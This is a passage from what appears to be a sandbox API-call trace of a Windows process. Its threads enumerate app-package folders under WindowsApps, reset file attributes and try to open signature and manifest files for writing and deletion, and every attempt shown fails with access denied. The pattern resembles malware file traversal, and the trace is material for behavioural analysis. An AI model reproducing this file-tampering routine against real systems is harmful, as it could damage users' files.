	[0090.669] FindNextFileW (in: hFindFile=0x46a69d0, lpFindFileData=0x4714420 | out: lpFindFileData=0x4714420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ed19195, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7ed19195, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7ed19195, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x406d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.669] FindClose (in: hFindFile=0x46a69d0 | out: hFindFile=0x46a69d0) returned 1
	[0090.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4714420) returned 1
	[0090.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718c40) returned 1
	[0090.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47703c0) returned 1

Thread:
	id = 941
	os_tid = 0xc3c

	[0082.327] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.328] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.328] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.328] GetLastError () returned 0x5
	[0082.328] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.328] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1

Thread:
	id = 942
	os_tid = 0x6bc

	[0082.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x47530e8
	[0082.332] wcscpy (in: _Dest=0x47530e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.332] wcscat (in: _Dest=0x47530e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.332] wcscat (in: _Dest=0x47530e8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4714688
	[0082.332] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4714688 | out: lpFindFileData=0x4714688*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad4389d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad4389d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad4389d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6a10
	[0082.332] wcscmp (_String1=".", _String2=".") returned 0
	[0082.332] FindNextFileW (in: hFindFile=0x46a6a10, lpFindFileData=0x4714688 | out: lpFindFileData=0x4714688*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad4389d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad4389d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad4389d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.332] wcscmp (_String1="..", _String2=".") returned 1
	[0082.332] wcscmp (_String1="..", _String2="..") returned 0
	[0082.332] FindNextFileW (in: hFindFile=0x46a6a10, lpFindFileData=0x4714688 | out: lpFindFileData=0x4714688*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad4389d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad4389d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad4389d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.332] FindClose (in: hFindFile=0x46a6a10 | out: hFindFile=0x46a6a10) returned 1
	[0082.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4714688) returned 1
	[0082.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47530e8) returned 1
	[0082.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ebca8) returned 1

Thread:
	id = 943
	os_tid = 0xc28

	[0082.334] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.335] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.337] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.338] GetLastError () returned 0x5
	[0082.338] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766410) returned 1

Thread:
	id = 944
	os_tid = 0xeac

	[0082.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x47530e8
	[0082.341] wcscpy (in: _Dest=0x47530e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.341] wcscat (in: _Dest=0x47530e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.341] wcscat (in: _Dest=0x47530e8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4714688
	[0082.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4714688 | out: lpFindFileData=0x4714688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33798b5a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabec308c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33798b5a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6890
	[0082.342] wcscmp (_String1=".", _String2=".") returned 0
	[0082.342] FindNextFileW (in: hFindFile=0x46a6890, lpFindFileData=0x4714688 | out: lpFindFileData=0x4714688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33798b5a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabec308c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33798b5a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.342] wcscmp (_String1="..", _String2=".") returned 1
	[0082.342] wcscmp (_String1="..", _String2="..") returned 0
	[0082.342] FindNextFileW (in: hFindFile=0x46a6890, lpFindFileData=0x4714688 | out: lpFindFileData=0x4714688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33798b5a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x337bedb8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x337bedb8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x41c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0082.342] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0082.342] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0082.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771be0
	[0082.342] wcscpy (in: _Dest=0x4771be0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.342] wcscat (in: _Dest=0x4771be0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.342] wcscat (in: _Dest=0x4771be0, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.658] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.658] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.658] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.658] GetLastError () returned 0x5
	[0090.658] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.658] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771be0) returned 1
	[0090.658] FindNextFileW (in: hFindFile=0x46a6890, lpFindFileData=0x4714688 | out: lpFindFileData=0x4714688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33798b5a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x337bedb8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x337bedb8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x41c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.658] FindClose (in: hFindFile=0x46a6890 | out: hFindFile=0x46a6890) returned 1
	[0090.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4714688) returned 1
	[0090.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47530e8) returned 1
	[0090.659] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752358) returned 1

Thread:
	id = 945
	os_tid = 0xfec

	[0082.343] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.344] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.344] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.344] GetLastError () returned 0x5
	[0082.344] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.344] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766710) returned 1

Thread:
	id = 946
	os_tid = 0x4f4

	[0082.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4772520
	[0082.345] wcscpy (in: _Dest=0x4772520, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.345] wcscat (in: _Dest=0x4772520, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.345] wcscat (in: _Dest=0x4772520, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47148f0
	[0082.345] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x47148f0 | out: lpFindFileData=0x47148f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc96c435e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc96c435e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96c435e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a68d0
	[0082.346] wcscmp (_String1=".", _String2=".") returned 0
	[0082.346] FindNextFileW (in: hFindFile=0x46a68d0, lpFindFileData=0x47148f0 | out: lpFindFileData=0x47148f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc96c435e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc96c435e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96c435e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.346] wcscmp (_String1="..", _String2=".") returned 1
	[0082.346] wcscmp (_String1="..", _String2="..") returned 0
	[0082.346] FindNextFileW (in: hFindFile=0x46a68d0, lpFindFileData=0x47148f0 | out: lpFindFileData=0x47148f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc96c435e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc96c435e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96c435e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.346] FindClose (in: hFindFile=0x46a68d0 | out: hFindFile=0x46a68d0) returned 1
	[0082.346] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47148f0) returned 1
	[0082.346] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772520) returned 1
	[0082.346] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771f58) returned 1

Thread:
	id = 947
	os_tid = 0x384

	[0082.347] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.349] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.351] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.352] GetLastError () returned 0x5
	[0082.352] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c380) returned 1

Thread:
	id = 948
	os_tid = 0xdec

	[0082.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4718d10
	[0082.354] wcscpy (in: _Dest=0x4718d10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.354] wcscat (in: _Dest=0x4718d10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.354] wcscat (in: _Dest=0x4718d10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47148f0
	[0082.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x47148f0 | out: lpFindFileData=0x47148f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c254236, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa53e492, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c254236, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a68d0
	[0082.355] wcscmp (_String1=".", _String2=".") returned 0
	[0082.355] FindNextFileW (in: hFindFile=0x46a68d0, lpFindFileData=0x47148f0 | out: lpFindFileData=0x47148f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c254236, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa53e492, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c254236, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.355] wcscmp (_String1="..", _String2=".") returned 1
	[0082.355] wcscmp (_String1="..", _String2="..") returned 0
	[0082.355] FindNextFileW (in: hFindFile=0x46a68d0, lpFindFileData=0x47148f0 | out: lpFindFileData=0x47148f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c254236, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c254236, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c254236, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x650b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0082.355] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0082.355] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0082.355] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x47512e0
	[0082.355] wcscpy (in: _Dest=0x47512e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.355] wcscat (in: _Dest=0x47512e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.355] wcscat (in: _Dest=0x47512e0, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.653] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.653] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
